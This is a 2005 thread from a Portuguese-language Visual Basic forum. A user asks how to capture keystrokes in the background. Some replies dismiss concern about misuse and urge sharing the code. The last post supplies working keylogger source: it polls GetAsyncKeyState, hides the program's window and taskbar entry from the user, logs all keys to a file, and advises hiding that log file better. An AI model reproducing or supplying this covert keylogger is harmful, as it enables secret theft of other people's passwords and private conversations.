USUÁRIO:      SENHA:        SALVAR LOGIN ?    Adicione o VBWEB na sua lista de favoritos   Fale conosco 

 

  Fórum

  Visual Basic
Voltar
Autor Assunto:  COMO CAPTURAR DIGITAÇÃO EM SEGUNDO PLANO?
andrewam
CAMPINAS
SP - BRASIL
ENUNCIADA !
Postada em 01/10/2005 11:38 hs            
Olá pessoal!
 
É o seguinte, preciso desenvolver um programinha que conta a quantidade de vezes q um usuário digita. Porém esse meu sistema vai trabalhar em segundo plano na barra de tarefas do IconTray(perto do relógio do Win).
 
Ex: Vamos supor q este sistema esteja aberto e minimizado no icontray (trabalhando em segundo plano), aí um usuário entra no Word e digita um texto. Quando ele abrir meu sistema ele vai descobrir quantos caracteres ele digitou!
 
Eu preciso de uma funçãozinha que capture a digitação em segundo plano, pq capturar a digitação com a aplicação aberta é facil.
 
Obrigado!
Abraço!
   
Donkey
Pontos: 2843 Pontos: 2843 Pontos: 2843 Pontos: 2843
PRESIDENTE PRUDENTE
SP - BRASIL
ENUNCIADA !
Postada em 01/10/2005 19:43 hs            
Bem, o dificil é vc conseguir deixar esse sistema ativo, muitos antivirus detectam isso como virus (vc pode por exemplo não apenas contar a quantidade de tecladas, + sim o seu conteudo, e com isso senhas, conversas em bate-papo, etc...)
Procure no www.vbmania.com.br por keylog
La tem vários exemplos.... T+
 
   
vaini
PARAPUÃ
SP - BRASIL
ENUNCIADA !
Postada em 19/10/2005 11:50 hs            
Cara, eu tenho exatamente o que vc precisa, mas gostaria que voce deixasse claro para mim e para todos, para que pretende usar. Qual sua intenção. Não é por mal cara, acontece que com codigos assim, alguns mal intencionados podem fazer um péssimo uso e prejudicar outros. Espero que vc entenda. O conhecimento é para ser compartilhado, porem, por causa dos mal elementos, alguns detalhes precisamos racionalizar.
Espero sua resposta, e seja sincero.
 

Fernando Cesar Vaini

Se voce morrer daqui a 5 minutos, vai levar todo o seu conhecimento. Antes que isso aconteça, compartilhe-o!!!

   
Donkey
Pontos: 2843 Pontos: 2843 Pontos: 2843 Pontos: 2843
PRESIDENTE PRUDENTE
SP - BRASIL
ENUNCIADA !
Postada em 20/10/2005 05:00 hs            
Vaini, sinceramente essa sua resposta é uma piada, como falei esse código nem é segredo, no vbmania tem dezenas.
Agora esse lance de ser sincero foi d+.
Só faltou vc pedir pra ele jurar por Deus, pela Mãe, e sei la + o q, desde criança que não escutava coisa assim.... AHaUaHaUAHa
Ou vc da o código ou não dá, afinal como vc vai saber se a historia dele vai ser verdadeira? Se fosse por exemplo a formula da bomba atomica tudo bem até pedir isso, + um código desse nem é coisa tão dificil assim de achar na net... rs
Por favor não se ofenda, + é que achei muito engraçado sua colocação...
   
Luiz com
SÃO PAULO
SP - BRASIL
ENUNCIADA !
Postada em 21/10/2005 14:59 hs            
Concordo com o DONKEY............vc nunca vai saber se ele esta dizendo a verdade........então da logo....o código para ele.......Emoções

E-mail.............. luyzfernando@gmail.com
Msn...................luyzfernando@hotmail.com
 
Obs. Hotmail uso apenas para messenger!!
 
Aprendiz e Futuro programador!!!
 
"Todo seu conhecimento deve ser compatilhado!!!"  ---Emoções---
                                    
   
rdeletric
não registrado
ENUNCIADA !
Postada em 21/10/2005 15:07 hs   
Dica vista no forum:
Bem, aí vai um jeito para criar um keylogger:
Primeiro vamos declarar a função que vamos usar para ler as teclas mesmo em segundo plano:
Private Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal KeyCode as Long) As Long

No Form_Load do form, vc vai querer esconder o aplicativo do usuário, então faça:
Sub Form_Load ()
Me.Hide
App.TaskVisible = False
End Sub

Bem, agora vamos criar um componente Timer para lermos todas as teclas o tempo todo, coloque a propriedade Interval do Timer para 100, e coloque a propriedade Enabled para True, dessa forma, quando o programa iniciar já estará lendo as teclas em segundo plano... Agora dentro do Evento Timer, do Timer, coloque o seguinte código:
Sub Timer1_Timer ()
DoEvents
For A% = 0 to 255
DoEvents 'Note que vc vai precisar sim de 2 DoEvents
If GetAsyncKeyState(A%) <> 0 Then
TeclasPressionadas$ = TeclasPressionadas$ & Chr$(A%)
End if
Next A%
End Sub

Agora, para finalizar, vc vai querer salvar o log de teclas depois naum eh ? No evento unload do form, coloque isso:
Sub Form1_Unload ()
Open "C:Log.txt" For Output as #1
Print #1, "Log te teclas do KeyLogger"
Print #1, "----------------------------------"
Print #1, TeclasPressionadas$
Print #1, "------------"
Print #1, "Fim do log"
Close
End Sub

É isso aí cara, isso é tudo que vc precisa para criar um keylogger simples, mas funcional, em Visual Basic, mas, procure esconder mais o arquivo de logs, em vez de usar "C:Log.txt", ok ?
   
Página(s): 1/2      PRÓXIMA »


Seu Nome:

Seu eMail:

ALTERAR PARA MODO HTML
Mensagem:

[:)] = 
[:P] = 
[:(] = 
[;)] = 

HTML DESLIGADO

     
 VOLTAR

  



CyberWEB Network Ltda.    © Copyright 2000-2022   -   Todos os direitos reservados.
Powered by HostingZone - A melhor hospedagem para seu site
Topo da página